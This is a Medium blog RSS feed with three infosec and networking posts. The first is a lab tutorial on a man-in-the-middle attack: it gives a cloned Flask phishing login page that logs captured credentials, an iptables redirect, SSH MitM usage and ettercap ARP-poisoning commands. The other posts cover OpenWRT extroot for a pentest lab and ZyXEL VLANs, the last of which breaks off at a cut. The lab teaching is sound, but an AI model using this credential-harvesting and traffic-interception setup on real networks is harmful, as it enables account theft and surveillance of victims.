<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Code|Beta Blog - Medium]]></title>
        <description><![CDATA[Programming, Scripting, Infosec and IT - Medium]]></description>
        <link>https://medium.com/code-beta-blog?source=rss----9b4d4ea5c59d---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Code|Beta Blog - Medium</title>
            <link>https://medium.com/code-beta-blog?source=rss----9b4d4ea5c59d---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 21:18:36 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/code-beta-blog" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Man in the Middle Attack with Ettercap]]></title>
            <link>https://medium.com/code-beta-blog/man-in-the-middle-attack-with-ettercap-66c8ebdb9d8d?source=rss----9b4d4ea5c59d---4</link>
            <guid isPermaLink="false">https://medium.com/p/66c8ebdb9d8d</guid>
            <category><![CDATA[ettercap]]></category>
            <category><![CDATA[arp-protocol]]></category>
            <category><![CDATA[gns3]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[mitm-attacks]]></category>
            <dc:creator><![CDATA[Nicole Murillo]]></dc:creator>
            <pubDate>Fri, 27 Mar 2020 20:39:23 GMT</pubDate>
            <atom:updated>2020-03-27T20:38:44.530Z</atom:updated>
            <content:encoded><![CDATA[<p>Let’s take a look at carrying out an MitM attack using Ettercap and a couple of other tools, this with the goal to learn about this type of attack and how it’s carried out.</p><p>For this proof of concept, we are using a virtualized environment so that we have control over all of the aspects and we are not affecting any real services or users.</p><h3>The Network</h3><p>For emulating the network, we would be using <a href="https://www.gns3.com/">GNS3</a> and setting up the following topology</p><figure><img alt="The GNS3 network topology with 5 VirtualBox hosts, 3 Cisco IOS C3745 routers, and 4 switches." src="https://cdn-images-1.medium.com/max/670/1*uXcL6-JQPPb7mexZns3XWQ.png" /><figcaption>GNS3 virtual network topology</figcaption></figure><p>There are 3 Cisco IOS C3745 routers which represent different areas that we want to emulate for the attack. The network can be made bigger or smaller, depending on the complexity that you wish to have.</p><h4>Home Router Configuration</h4><p>The router that is used for the <em>Home</em> network has two interfaces, one is for the internal network and the other for the <em>ISP</em> connection.</p><p>The configuration for the interfaces is as follows:</p><pre>interface FastEthernet0/0<br> description ISP<br> ip address dhcp<br> ip nat outside<br>!<br>interface FastEthernet0/1<br> description HOME<br> ip address 192.168.2.1 255.255.255.0<br> ip nat inside</pre><p>For the <em>WAN</em> side, the IP address is assigned by the <em>ISP</em> router.</p><p>The <em>Home LAN</em> uses a DHCP to provide the IP addresses for the hosts, the configuration for the DHCP is as follows:</p><pre>ip dhcp pool LAN<br>   network 192.168.2.0 255.255.255.0<br>   default-router 192.168.2.1 <br>   dns-server 169.254.25.2</pre><p>Finally, the following is the configuration for the NAT that is used so that the internal hosts can reach the ones on the outside.</p><pre>ip nat inside source list INSIDE-NET interface FastEthernet0/0 overload<br>!<br>ip access-list standard INSIDE-NET<br> permit 192.168.2.0 0.0.0.255</pre><h4>ISP Router Configuration</h4><p>The role of the <em>ISP</em> router is to interconnect the user’s network with the router which hosts the services that the user has access to.</p><p>The router has two interfaces, both have their static IP address set</p><pre>interface FastEthernet0/0<br> description INTERWEBS<br> ip address 169.254.25.1 255.255.255.252<br> ip ospf 1 area 0<br>!<br>interface FastEthernet0/1<br> description CUSTOMERS<br> ip address 186.15.1.1 255.255.255.0<br> ip ospf 1 area 0</pre><p>The DHCP is configured for the <em>customer</em> side of the setup</p><pre>ip dhcp pool CUSTOMER<br>   network 186.15.1.0 255.255.255.0<br>   default-router 186.15.1.1 <br>   dns-server 169.254.25.2</pre><p>To allow the <em>customers</em> to reach the services, the OSPF configuration below is added</p><pre>router ospf 1<br> router-id 1.1.1.1</pre><h4>Hosting Router Configuration</h4><p>This network hosts 3 different services, though if we wanted to have a bit more realism we would setup more devices on the network and not have all of the services behind the same router.</p><p>For the interfaces, we have the following configuration</p><pre>interface FastEthernet0/0<br> description INTERWEBS<br> ip address 169.254.25.2 255.255.255.252<br> ip nat outside<br> ip virtual-reassembly<br> ip ospf 1 area 0<br>!<br>interface FastEthernet0/1<br> description HOSTING<br> ip address 192.168.1.1 255.255.255.248<br> ip nat inside<br> ip virtual-reassembly</pre><p>I added the OSPF to the external facing interface, but believe that it might not be necessary. However, the goal of this setup isn’t to have the best network setup, it is just to have a working connection that we can use for the proof of concept for the attack.</p><pre>router ospf 1<br>router-id 2.2.2.2</pre><p>This network doesn’t have a DHCP and all of the hosts have statically set IP addresses. The reason is that it makes it easier to have the NAT configuration for opening the ports and forwarding them to the correct host.</p><p>The NAT configuration is below</p><pre>ip nat inside source list 1 interface FastEthernet0/0 overload<br>ip nat inside source static udp 192.168.1.4 53 interface FastEthernet0/0 53<br>ip nat inside source static tcp 192.168.1.3 22 interface FastEthernet0/0 22<br>ip nat inside source static tcp 192.168.1.2 80 interface FastEthernet0/0 80<br>!<br>access-list 1 permit 192.168.1.0 0.0.0.7</pre><h3>Virtual Machine Configuration</h3><p>For the whole setup, there are 5 VM’s and 4 of them are running Debian 10 32-bit and one is running Kali.</p><h4>Victim Host</h4><p>This host has a base configuration with the XFCE desktop and only has the net-tools and arp packages installed, these two packages are used to show how the attack is affecting the host.</p><h4>Web Server</h4><p>A base Debian installation with the lighttpd package for the HTTP service, we are not changing any other configuration and just adding the website with a simple login form. Also, installing the php package to have PHP code on the website for the login form.</p><p>This is not meant to provide the most secure environment as we are only showing how to create the MitM attack and not further complexity of having a higher level of security, which should be applied in any sites created.</p><h4>SSH Server</h4><p>Though this is a bit overkill, as we can simply use one of the other servers, but I had set it up previously and wasn’t going to leave it out. So this is a base Debian installation with the ssh package installed. No changes are made to the configuration.</p><h4>DNS Server</h4><p>I wanted to have a domain name resolution for a bit of added realism and not just be accessing the site via IP address. So a base Debian installation with the dnsmasq package installed and only configured to have DNS working and resolving the URL bank.com to the IP address of the hosting router.</p><h3>Preparations for the MitM Attack</h3><p>Once we have the networking and servers created, we need to setup the website and the tools that will be used to carry out the attack.</p><h4>The Website</h4><p>A login form with a hard-coded password, not complicating things with having a database back-end for authentication.</p><pre>?php<br>session_start();<br>echo isset($_SESSION[&#39;login&#39;]);<br>if(isset($_SESSION[&#39;login&#39;])) {<br>        header(&#39;LOCATION:index.php&#39;); die();<br>}<br>?&gt;<br>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>   &lt;head&gt;<br>     &lt;meta http-equiv=&#39;content-type&#39; content=&#39;text/html;charset=utf-8&#39; /&gt;<br>     &lt;title&gt;Login&lt;/title&gt;<br>     &lt;meta charset=&quot;utf-8&quot;&gt;<br>     &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot;&gt;<br>     &lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&gt;<br>   &lt;/head&gt;<br>&lt;body&gt;<br>  &lt;section class=&quot;container&quot;&gt;<br>&lt;div class=&quot;login&quot;&gt;<br>    &lt;h1 class=&quot;text-center&quot;&gt;Login&lt;/h1&gt;<br>&lt;?php<br>if(isset($_POST[&#39;submit&#39;])){<br>        $username = $_POST[&#39;username&#39;]; $password = $_POST[&#39;password&#39;];<br>        if($username === &#39;admin&#39; &amp;&amp; $password === &#39;password&#39;){<br>                $_SESSION[&#39;login&#39;] = true; header(&#39;LOCATION:admin.php&#39;); die();<br>        } {<br>        echo &quot;&lt;div class=&#39;alert alert-danger&#39;&gt;Username and Password do not match.&lt;/div&gt;&quot;;<br>                }</pre><pre>}<br>?&gt;<br>    &lt;form action=&quot;&quot; method=&quot;post&quot;&gt;<br>      &lt;div class=&quot;form-group&quot;&gt;<br>        &lt;label for=&quot;username&quot;&gt;Username:&lt;/label&gt;<br>        &lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;username&quot; name=&quot;username&quot; required&gt;<br>      &lt;/div&gt;<br>      &lt;div class=&quot;form-group&quot;&gt;<br>        &lt;label for=&quot;pwd&quot;&gt;Password:&lt;/label&gt;<br>        &lt;input type=&quot;password&quot; class=&quot;form-control&quot; id=&quot;pwd&quot; name=&quot;password&quot; required&gt;<br>      &lt;/div&gt;<br>      &lt;button type=&quot;submit&quot; name=&quot;submit&quot; class=&quot;btn btn-default&quot;&gt;Login&lt;/button&gt;<br>    &lt;/form&gt;<br>&lt;/div&gt;<br>  &lt;/section&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>The credentials used for this login form are admin and password, but they can be easily changed and we aren’t attacking the website so this presents no issue.</p><p>This is how the site looks</p><figure><img alt="A simple web login form with a light blue background" src="https://cdn-images-1.medium.com/max/511/1*Ai-CxPugSPRAlQ0JLsU1Yg.png" /><figcaption>Simple login form</figcaption></figure><p>When a successful login takes place, we load the page admin.php to just display that there was successful login, so the site only has one line of text. We do have a check to make sure that the page is being loaded by the login form and not by simply navigating to it directly.</p><pre>&lt;?php<br>    session_start();<br>    if(!isset($_SESSION[&#39;login&#39;])) {<br>        header(&#39;LOCATION:index.php&#39;); die();<br>    }<br>?&gt;<br>&lt;html&gt;<br>    &lt;head&gt;<br>        &lt;title&gt;Admin Page&lt;/title&gt;<br>    &lt;/head&gt;<br>    &lt;body&gt;<br>        This is admin page view able only by logged in users.<br>    &lt;/body&gt; <br>&lt;/html&gt;</pre><p>These two pages are placed in the /var/www/html directory in the web server so that they are served by the lighttpd service.</p><h4>The Malicious Site</h4><p>We clone the site that the user normally visits so that they provide the credentials. There are several ways to carry out this part of the attack and several aspects can make or break the attack, but we will focus on redirecting the traffic and just cloning one page for the proof of concept.</p><p>For the login page, we just have to make a couple of modifications so that the behavior of the site is to capture credentials and not authenticate the user. The code we will use is the one below</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;</pre><pre>&lt;head&gt;<br>    &lt;meta http-equiv=&#39;content-type&#39; content=&#39;text/html;charset=utf-8&#39; /&gt;<br>    &lt;title&gt;Login&lt;/title&gt;<br>    &lt;meta charset=&quot;utf-8&quot;&gt;<br>    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot;&gt;<br>    &lt;link rel=&quot;stylesheet&quot; href=&quot;{{ url_for(&#39;static&#39;,filename=&#39;style.css&#39;) }}&quot;&gt;<br>&lt;/head&gt;</pre><pre>&lt;body&gt;<br>    &lt;section class=&quot;container&quot;&gt;<br>        &lt;div class=&quot;login&quot;&gt;<br>            &lt;h1&gt;Login&lt;/h1&gt;<br>            &lt;form action=&quot;&quot; method=&quot;post&quot;&gt;<br>                &lt;div class=&quot;form-group&quot;&gt;<br>                    &lt;label for=&quot;username&quot;&gt;Username:&lt;/label&gt;<br>                    &lt;input type=&quot;text&quot; class=&quot;form-control&quot; id=&quot;username&quot; name=&quot;username&quot; required&gt;<br>                &lt;/div&gt;<br>                &lt;div class=&quot;form-group&quot;&gt;<br>                    &lt;label for=&quot;pwd&quot;&gt;Password:&lt;/label&gt;<br>                    &lt;input type=&quot;password&quot; class=&quot;form-control&quot; id=&quot;pwd&quot; name=&quot;password&quot; required&gt;<br>                &lt;/div&gt;<br>                &lt;button type=&quot;submit&quot; name=&quot;submit&quot; class=&quot;btn btn-default&quot;&gt;Login&lt;/button&gt;<br>            &lt;/form&gt;<br>        &lt;/div&gt;<br>    &lt;/section&gt;<br>&lt;/body&gt;</pre><pre>&lt;/html&gt;</pre><p>We also want for the site to redirect to another page once the user enters their credentials, this we create a page that just displays an error message with the following code</p><pre>&lt;html lang=&#39;en&#39;&gt;</pre><pre>&lt;head&gt;<br>    &lt;title&gt;Error&lt;/title&gt;<br>    &lt;link rel=&quot;stylesheet&quot; href=&quot;{{ url_for(&#39;static&#39;,filename=&#39;style.css&#39;) }}&quot;&gt;<br>&lt;/head&gt;</pre><pre>&lt;body&gt;<br>    &lt;section class=&quot;container&quot;&gt;<br>        &lt;div class&quot;login&quot;&gt;<br>            &lt;p style=&quot;color:white;font-size:36px&quot;&gt;Hello {{user}},&lt;/p&gt;<br>            &lt;p style=&quot;color:white;font-size:16px&quot;&gt;An error was encountered while attempting to access the information of<br>                your account. Please try again later.&lt;p&gt;<br>        &lt;/div&gt;<br>    &lt;/section&gt;<br>&lt;/body&gt;</pre><pre>&lt;/html&gt;</pre><p>For the styling, we use the same one as the <em>real</em> site.</p><p>The code below is used by Python to get the web page working</p><pre>from flask import Flask<br>from flask import render_template,request,url_for,send_from_directory<br>from os import path</pre><pre>app = Flask(__name__)</pre><pre><a href="http://twitter.com/app">@app</a>.route(&#39;/favicon.ico&#39;)<br>def favicon():<br>    return send_for_directory(path.join(app.root_path, &#39;static&#39;),<br>                              &#39;favicon.ico&#39;, mimetype=&#39;image/vnd.microsoft.icon&#39;)</pre><pre><a href="http://twitter.com/app">@app</a>.route(&#39;/&#39;, methods=[&#39;POST&#39;, &#39;GET&#39;])<br>def home():<br>    if request.method == &#39;POST&#39;:<br>        username = request.form[&#39;username&#39;]<br>        password = request.form[&#39;password&#39;]</pre><pre>with open(&quot;user.cred&quot;, &quot;a&quot;) as userFile:<br>            userFile.write(&quot;{}::{}\n&quot;.format(username, password))</pre><pre>return render_template(&#39;error.html&#39;, user=username)</pre><pre>else:</pre><pre>return render_template(&#39;index.html&#39;)</pre><pre>if __name__ == &quot;__main__&quot;:<br>    app.run(debug=False, host=&#39;0.0.0.0&#39;, port=&#39;17280&#39;)</pre><p>This gets the site hosted on port 17280 and we will use iptables to redirect the web traffic to that port and the victim won’t notice.</p><p>For Flask to correctly load the site, we should place all of the files in a single directory and the structure would look like the one below</p><pre>pypage/<br>├── page.py<br>├── static<br>│   ├── favicon.ico<br>│   └── style.css<br>├── templates<br>│   ├── error.html<br>│   └── index.html<br>└── user.cred</pre><pre>2 directories, 6 files</pre><p>The file user.cred is where we’ll store the credentials that the malicious login form captures. We will look at how to start the process later on.</p><h4>The Tools</h4><p>We use a couple of programs for different parts of the attack</p><ul><li>The programettercap for the MitM and scanning for hosts.</li><li>Traffic redirection of HTTP and SSH is done with iptables in the Kali VM.</li><li>The malicious site is hosted with Python and Flask.</li><li>For the SSH part, we will be using <a href="https://github.com/jtesta/ssh-mitm">SSH MitM v2.2</a> tool, which is created by <a href="https://twitter.com/therealjoetesta">Joe Testa</a>.</li></ul><h3>Carrying out the MitM Attack</h3><p>So after setting up the environment and the tools that we will need, we can begin to carry out the attack. So let’s look at each step.</p><h4>The Malicious Site</h4><p>If we are going to redirect the web traffic, we should establish the iptables rules first, below is the rule that redirects all of the traffic to port 80 to the port we are using for Flask</p><pre>iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination 127.0.0.1:17280</pre><p>Now we start the Flask server with the following command from the directory where the files are</p><pre>python page.py</pre><p>Now our malicious site should be accessible by visiting the URL <a href="http://127.0.0.1:17280/">http://127.0.0.1:17280</a> so be sure to validate that the site is loading, for this to work we wouldn’t have the user seeing an error instead of the malicious site.</p><h4>The SSH Server</h4><p>Once we have the <em>SSH MitM</em> application installed and working, we will start it with the following command</p><pre>./start.sh</pre><p>This command should be executed from the directory where the files are located. This script will setup the iptables rules necessary for this part of the attack to work.</p><h4>The ARP Poisoning</h4><p>There are two steps for the <em>arp poisoning</em> part, both of which can be carried out with ettercap .</p><p>First step is to identify the victim, for this we run the following command to start the network scan</p><pre>sudo ettercap -T -i eth0 -n 255.255.255.0</pre><p>This will start the scan and once that is done, we can press the l key and ettercap will list all of the hosts found, for our case the output would look something like the one below (the correct MAC addresses will show up)</p><pre>Hosts list:</pre><pre>1)    192.168.2.1    00:00:00:00:00:00<br>2)    192.168.2.6    00:00:00:00:00:00</pre><p>At this point we have identified the hosts and we also know that the IP address for the hosted services is 169.254.25.2 so we can also use that for the IP address in the following step.</p><p>For the second step, we are running the ettercap tool with the options for the <em>arp poisoning</em> and we do this with the following command</p><pre>sudo ettercap -T -i eth0 -M ARP /169.254.25.2/192.168.2.6/</pre><p>Once the tool finishes carrying out the scan, it will start flooding the victim’s computer with ARP Responses and causing for all of the traffic to be redirected to our Kali machine.</p><p>We can see the difference by running the command arp in the victim’s VM before and after the attack to see the changes it makes.</p><p>At this point when the user navigates to any site on their web browser, they will be redirected to our malicious site. When they try to connect to any SSH server, it will also go through our SSH server and we will capture the credentials.</p><h3>Conclusion</h3><p>We saw the different steps that this attack involves, but this is just a small part that is very simplified while still teaching how it is carried out.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=66c8ebdb9d8d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/code-beta-blog/man-in-the-middle-attack-with-ettercap-66c8ebdb9d8d">Man in the Middle Attack with Ettercap</a> was originally published in <a href="https://medium.com/code-beta-blog">Code|Beta Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pentest Lab — Part 1: OpenWRT with Extroot]]></title>
            <link>https://medium.com/code-beta-blog/pentest-lab-part-1-openwrt-with-extroot-f00ba4b6ffd5?source=rss----9b4d4ea5c59d---4</link>
            <guid isPermaLink="false">https://medium.com/p/f00ba4b6ffd5</guid>
            <category><![CDATA[openwrt]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[netgear-router-setup]]></category>
            <category><![CDATA[tech]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Nicole Murillo]]></dc:creator>
            <pubDate>Fri, 09 Aug 2019 14:52:56 GMT</pubDate>
            <atom:updated>2019-08-09T14:52:25.222Z</atom:updated>
            <content:encoded><![CDATA[<h3>Pentest Lab — Part 1: OpenWRT with Extroot</h3><p>Had the opportunity to change the focus on my IT career from a SAP Basis Admin to Infosec, couldn’t waste that change so I had to take it. This meant that I needed to better my knowledge in this area.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*knBnJjkZ89hNJxltBcHySg.jpeg" /></figure><p>Following the recommendation by <a href="https://www.youtube.com/channel/UCm9K6rby98W8JigLoZOh6FQ"><em>The Lock Picking Lawyer</em></a>, one should practice their craft in multiple different ways, he mentions in <a href="https://www.youtube.com/watch?v=xhcKAClO-AM">this video</a> that</p><blockquote>there is a difference between learning how to pick a lock and learning how to pick locks</blockquote><blockquote>— The Lock Picking Lawyer</blockquote><p>He also mentions, in that same video, that practice should be made on several different locks so that one doesn’t get used to the intricacies of one particular lock.</p><p>Taking that advice and applying it to my infosec career, it means that I should further practice, aside from the fact that I learn better by being hands-on and documenting my process.</p><p>So this series talks about the lab environment that I’m setting up at home just for this reason. My idea is to have a network where I can have vulnerable services to practice penetration testing techniques and also to run malware for analysis, this means that there are multiple aspects that need to be configured in order to prevent any of my other devices from becoming infected by any malware or having anyone else leverage the vulnerable systems that I’m running and gain access to my network.</p><h3>The Test Network</h3><p>I have an unusual home network, with multiple vlans and other aspects that I have implemented, and written about in this blog, to secure the network in different aspects.</p><p>So I changed my network setup to create what I now refer to as <em>the test network</em>, and this is a segregated area where I can run vulnerable systems and malware without it causing any issues to my other devices or to other systems outside of my home network.</p><p>The reasoning as to why I didn’t completely segregate this network, is because I wanted to be able to connect to it from anywhere so that if I had some downtime at the office or when visiting my parents, I could carry out tests.</p><p>I had a Netgear WNDR3700 router laying around, having changed routers relatively often it means that I have a couple available in storage, so I brought it back to life and will use it to further segregate the test network and to also have an openvpn server so that I’m able to access this network.</p><p>The Netgear router is set to allow connections via SSH and OpenVPN from the WAN port and block pretty much any connection attempts from the LAN side, with the exception of DHCP, DNS, and NTP protocols. The Netgear router is also not forwarding any traffic, this means that the hosts inside the test network are able to resolve addresses to IP addresses, even of outside addresses, but they are unable to connect to anything outside of that network.</p><h3>OpenWRT on the Netgear WNDR3700</h3><p>Ever since I obtained the Netgear router, I replaced the OEM firmware with <a href="https://openwrt.org/">OpenWRT</a> firmware, though it was with the stock image and using the internal storage, which is about 4MB.</p><p>I was happy to find that I was able to upgrade the firmware to the latest version, so I installed 18.06.4. I managed to configure it so that it would hand out IP addresses via DHCP, act as a DNS server and resolve the hostnames. I don’t really intend on the router doing much more, to be quite honest, just find that making it do too much doesn’t make sense and may make it more vulnerable.</p><p>But I did try to install several packages and ended up filling up the internal storage to 100%, which is not the first time I ran into that issue. So I looked into using the USB port on the router and moving the root to the external storage.</p><h4>Creating a Custom OpenWRT Firmware</h4><p>I looked into the documentation from OpenWRT on the <a href="https://openwrt.org/docs/guide-user/additional-software/extroot_configuration">Extroot Configuration</a> and created a simple firmware version that contained the necessary tools to mount the USB thumb drive as root.</p><p>After downloading the <em>image builder</em> package from the Releases page at OpenWRT, I proceeded to check that my router was still supported by running the following command</p><pre>make info | grep -A 2 -i &#39;wndr3700&#39;</pre><p>Be sure to run that command on the directory that is created when extracting the contents of the <em>image builder</em> archive. The output of that command should look something like this</p><pre>wndr3700:<br>    NETGEAR WNDR3700<br>    Packages: kmod-usb-core kmod-usb-ohci kmod-usb2 kmod-usb-ledtrig-usbport kmod-leds-wndr3700-usb</pre><p>If you are doing this for another router, replace wndr3700 with whatever your router’s model number is.</p><p>Now we can proceed to create the base firmware for the router by running the command below</p><pre>make image PROFILE=wndr3700 PACKAGES=&quot;kmod-fs-ext4 kmod-usb-storage kmod-usb-ohci kmod-usb-uhci&quot;</pre><p>This will take a while to complete, specially when other components need to be downloaded to the system. If all ended successfully, then we should have several .bin files created under bin/targets/ar71xx/generic .</p><p>Since I was already running OpenWRT on the router, I used the bin file with <em>sysupgrade</em> in the name. Just upload the firmware through the web interface and reset the router to factory defaults.</p><h3>Mounting Root in the USB Thumb Drive</h3><p>Because the firmware I created for the router is the base version, it doesn’t have a web interface, so access is only available via ssh and there is no default password for root, also it is only accessible from the LAN side.</p><p>Once we have access to the router, I first proceeded to update the packages and install the block-mount package by running the following commands</p><pre>opkg update<br>opkg install block-mount</pre><p>Validate that the necessary kernel modules are loaded by running the command</p><pre>lsmod | grep -Ei &#39;sd_mod|usb-storage|ext4&#39;</pre><p>The output should be something along the lines of</p><pre>crc16                    960  1 ext4<br>crypto_hash             8288  3 ext4,jbd2,crc32c_generic<br>ext4                  326304  0<br>jbd2                   45616  1 ext4<br>mbcache                 2768  1 ext4<br>scsi_mod               86752  2 usb_storage,sd_mod<br>sd_mod                 25424  0</pre><p>I wanted to make sure that after I made the necessary changes, that they were in fact applied, so I checked the current status of storage by running the df -h command before and after making the changes, being sure to document all of the output.</p><p>Since I have a lot of headless devices running in my network, I always want to make sure that they’re able to boot up successfully without user interaction, so I always run through a reboot process after configuring a service or system.</p><p>At this point we can mount the USB thumb drive, be sure to format the storage device with <em>ext4</em> partition type previously as we will not run through that process in the router due to lack of tools. Mount the storage device using the command below</p><pre>mount /dev/sda1 /mnt</pre><p>If there are multiple partitions made on the USB thumb drive, then be sure to replace /dev/sda1 accordingly. I’m using an 8GB thumb drive so I only created one partition. Now, 8GB is quite overkill, but I didn’t have any smaller thumb drives, not that they’re easily available anyways.</p><p>Once mounted, verify that it is in fact mounted, we need to copy over all of the current data in /overlay to the /mnt directory and we do this by running this command</p><pre>tar -C /overlay/ -c . -f - | tar -C /mnt/ -xf -</pre><p>Once this copy process is completed, run the sync command, then unmount the thumb drive with the command umount /dev/sda1 and run the command below to create the <em>fstab</em> for this thumb drive</p><pre>block detect &gt; /etc/config/fstab</pre><p>The file that is created should look something like the one below</p><pre>config &#39;global&#39;<br>       option  anon_swap       &#39;0&#39;<br>       option  anon_mount      &#39;0&#39;<br>       option  auto_swap       &#39;1&#39;<br>       option  auto_mount      &#39;1&#39;<br>       option  delay_root      &#39;5&#39;<br>       option  check_fs        &#39;0&#39;<br><br>config &#39;mount&#39;<br>       option  target  &#39;/mnt/sda1&#39;<br>       option  uuid    &#39;01234567-89AB-CDEF-1234-567890ABCDEF&#39;<br>       option  enabled &#39;0&#39;</pre><p>We need to change it to reflect that this is the new /overlay by changing the <em>target</em> and <em>enabled</em> options to the ones below</p><pre>config &#39;mount&#39;<br>       option  target  &#39;/overlay&#39;<br>       option  uuid    &#39;01234567-89AB-CDEF-1234-567890ABCDEF&#39;<br>       option  enabled &#39;1&#39;</pre><p>Save the file and enable the <em>fstab</em> configuration with the command below</p><pre>/etc/init.d/fstab enable</pre><p>At this point reboot the router and wait for it to come back up. There are a couple of steps more that we need to take, but at this point the router should come back up and be using the thumb drive as the primary storage, we can validate this using the df -h command.</p><p>We also need to check that <em>uci</em> sees the changes, so run the following command</p><pre>uci show fstab</pre><p>If the output comes back like the one below</p><pre>fstab.@global[0]=global<br>fstab.@global[0].anon_swap=&#39;0&#39;<br>fstab.@global[0].anon_mount=&#39;0&#39;<br>fstab.@global[0].auto_swap=&#39;1&#39;<br>fstab.@global[0].auto_mount=&#39;1&#39;<br>fstab.@global[0].delay_root=&#39;5&#39;<br>fstab.@global[0].check_fs=&#39;0&#39;<br>fstab.@mount[0]=mount<br>fstab.@mount[0].target=&#39;/mnt/sda1&#39;<br>fstab.@mount[0].uuid=&#39;01234567-89AB-CDEF-1234-567890ABCDEF&#39;<br>fstab.@mount[0].enabled=&#39;0&#39;</pre><p>We will need to make some changes by running the two commands below</p><pre>uci set fstab.@mount[0].target=&#39;/overlay&#39;<br>uci set fstab.@mount[0].enabled=&#39;1&#39;<br>uci commit fstab<br>service fstab boot</pre><p>We can reboot the device once more and make sure that the external storage is still being mounted.</p><h3>Conclusion</h3><p>This is just the beginning, this series will have several parts as there are many aspects to setting up this <em>test network</em> so be sure to check back.</p><p>Next, we will be setting up the OpenVPN server and firewall to allow connecting to the network from the outside of the Netgear router and being able to carry out attacks to the vulnerable hosts that are inside the test network.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f00ba4b6ffd5" width="1" height="1" alt=""><hr><p><a href="https://medium.com/code-beta-blog/pentest-lab-part-1-openwrt-with-extroot-f00ba4b6ffd5">Pentest Lab — Part 1: OpenWRT with Extroot</a> was originally published in <a href="https://medium.com/code-beta-blog">Code|Beta Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VLANs and the ZyXEL GS1900–16]]></title>
            <link>https://medium.com/code-beta-blog/vlans-and-the-zyxel-gs1900-16-6b1eecd0632?source=rss----9b4d4ea5c59d---4</link>
            <guid isPermaLink="false">https://medium.com/p/6b1eecd0632</guid>
            <category><![CDATA[zyxel]]></category>
            <category><![CDATA[vlan]]></category>
            <category><![CDATA[how-to]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[gs1900]]></category>
            <dc:creator><![CDATA[Nicole Murillo]]></dc:creator>
            <pubDate>Wed, 25 Jan 2017 15:20:32 GMT</pubDate>
            <atom:updated>2017-01-25T15:20:37.109Z</atom:updated>
            <content:encoded><![CDATA[<p>Setting up VLANs on my home network, mostly as a learning experience, required several components and I recently purchased a managed switch to accomplish this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JgmOVQ1Xv5tvzFphO4_-fA.jpeg" /><figcaption>ZyXEL GS1900–16 (Image taken from <a href="http://www.zyxel.com/us/en/news/image_library_list.shtml">ZyXEL Image Library</a>)</figcaption></figure><p>I did a quick search on Amazon for inexpensive hardware that would contain a good set of features; that is how I ended up ordering the <a href="http://www.zyxel.com/us/en/products_services/gs1900_series.shtml?t=p&amp;tabOrder=1">ZyXEL GS1900 series managed switch</a>. Would have loved to have gotten the Ubiquiti switches, but they are out of my current price range.<br>This ZyXEL switch has a good set of features, and I was happy to see that it also has terminal access, which is only via telnet, and it also has a serial port, although you have to open the device to get to it.</p><p>Unfortunately, the documentation provided by ZyXEL is not the best, and this meant that for someone that was completely new to this, it caused much head-scratching at first and read a bit to find out how to accomplish what I wanted.</p><h4>Using the Wizard to Configure VLANs</h4><p>This method is the quickest and provides a simpler interface with a drag and drop of ports. To access this feature, access the web management of the switch and click on the Switch icon that is labeled VLAN.</p><p>A pop-up window shows up with the wizard, be sure to allow pop-ups, and this first screen allows you to add a new VLAN or modify an existing one. The other two steps remain the same on either option.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*cIqVAyYqijAJ8lwiFm90ZQ.png" /><figcaption>The first step of the wizard allows the user to create a new VLAN or edit an existing one</figcaption></figure><p>If you want to create a new VLAN then enter the number on the left section, you enter only the number of the VLAN and not the name, this results in the format VLAN#### (where # is the ID) for the name, but can be later changed.</p><p>If you want to edit an existing VLAN, then select the corresponding ID on the right-hand side.</p><p>On the second step, there are 3 columns. The first column, this shows the available ports. The second column shows the tagged ports. The third column shows the untagged ports. However, what does this mean?<br>For VLAN to work correctly, the traffic needs to be tagged, and this can happen at the device or switch level.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*editxKTT3SWvlVpPkBgkvQ.png" /><figcaption>The second step allows easy drag and drop of the ports to configure the type of traffic</figcaption></figure><p>If the device is doing the tagging, then the port should be placed in the tagged column, this sets the switch not to tag the traffic in that port but instead expect the tag to already exist in the packet. Placing the port in the third column tells the switch that the packets are not tagged and thus tag it with that VLAN ID. Leaving the port on the first column excludes that port from the VLAN ID.</p><p>The third step in this wizard is just the overview of the changes made.</p><h4>VLAN Configuration Section</h4><p>This section allows the user to configure more details of the VLANs, but it feels a bit more complex. When I first tried to set up the switch, I went 